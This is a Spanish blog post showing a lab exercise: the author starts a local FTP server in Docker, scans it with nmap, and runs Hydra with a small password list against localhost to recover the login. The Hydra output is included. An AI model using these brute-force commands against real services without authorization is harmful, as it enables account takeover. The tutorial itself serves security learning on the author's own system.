🥊💻 Fuerza bruta con Hydra en un FTP local
Últimamente, me he aficionado bastante a la ciberseguridad y estoy haciendo formaciones relacionadas con ella. Me parece una gran habilidad a aprender para que luego, al desarrollar, poder tener una visión más clara acerca de la seguridad de las mismas aplicaciones y riesgos en ellas.
En estas formaciones, una que me pareció interesante fue de cómo aplicar fuerza bruta a un FTP (File Protocol Transfer) para obtener acceso, vamos a ello.
🗨️ ¿Qué es la fuerza bruta en el ámbito de la ciberseguridad? “Fuerza bruta” se refiere a un método de ataque en el que un usuario malintencionado intenta descrifrar los credenciales de acceso probando sistemáticamente todas las combinaciones posibles hasta encontrar la correcta.
Para hacer esta práctica vamos a requerir lo siguiente:
- Sistema Operativo Linux (Puede ser virtualizado)
- Docker
- Hydra
Vamos a usar el siguiente repositorio en GitHub, es una imagen Docker que monta un FTP en local:
Para probar en localhost un servidor FTP que permita anonymous deberíamos ejecutar este otro docker:
Así que si vemos la documentación, nos encontramos que ejecutando lo siguiente:
docker run \
--detach \
--env FTP_PASS=123 \
--env FTP_USER=user \
--env PUBLIC_IP=192.168.0.1 \
--name my-ftp-server \
--publish 20-21:20-21/tcp \
--publish 40000-40009:40000-40009/tcp \
--volume /data:/home/user \
garethflowers/ftp-server
Vamos a poder levantar el contenedor Docker con el servidor FTP. Yo voy a modificar algunos parámetros, como por ejemplo el volume y el usuario. Para el volume por algún directorio que exista en tu disco.
docker run \
--detach \
--env FTP_PASS=carolina \
--env FTP_USER=p0tato \
--env PUBLIC_IP=192.168.0.1 \
--name my-ftp-server \
--publish 20-21:20-21/tcp \
--publish 40000-40009:40000-40009/tcp \
--volume /data:/home/domin/test_ftp \
garethflowers/ftp-server
Ahora en la terminal si hacemos ftp localhost
veremos que podemos intentar acceder al FTP.
(base) [domin@PC ~]$ ftp localhost
Connected to localhost.
220 FTP Server
Name (localhost:domin):
Una vez tenemos ya nuestro FTP podemos ir haciendo una serie de pruebas más con él, por ejemplo, averiguar si el ftp permite usuarios invitados. Esto lo podemos hacer mediante nmap ejecutando la siguiente instrucción:
nmap -sCV 127.0.0.1
-sC: Ejecuta los scripts de detección por defecto de Nmap.
-sV: Detecta las versiones de los servicios que se ejecutan en los puertos abiertos.
Si el output de nmap
menciona que permite usuarios anonymous
ya sabremos que podemos acceder al ftp sin credenciales.
Ahora para hacer el test con Hydra podemos hacernos un fichero passwords.txt de test:
nano passwords.txt
🗨️ ¿Qué es Hydra? Hydra es una herramienta de ciberseguridad utilizada para realizar ataques de fuerza bruta automatizados y descifrar contraseñas en múltiples servicios y protocolos, siendo ampliamente empleada en pruebas de penetración y auditorías de seguridad.
E introducimos los siguientes por ejemplo, o cualquier otro a modo de prueba:
manolo
patatas
pistola
paquete
qwerty
cerveza
guisante
carolina
Y luego ejecutamos la instrucción hydra siguiente en la terminal para aplicar fuerza bruta usando este diccionario de passwords:
hydra -l p0tato -P passwords.txt ftp://127.0.0.1 -t 15
Si hydra acaba consiguiendo el objetivo con el diccionario proporcionado, el output sería tal que así:
(base) [domin@PC ~]$ hydra -l p0tato -P passwords.txt ftp://127.0.0.1 -t 15
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-24 20:32:50
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:1/p:8), ~1 try per task
[DATA] attacking ftp://127.0.0.1:21/
[21][ftp] host: 127.0.0.1 login: p0tato password: carolina
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-24 20:32:54
Y esto sería todo, ea.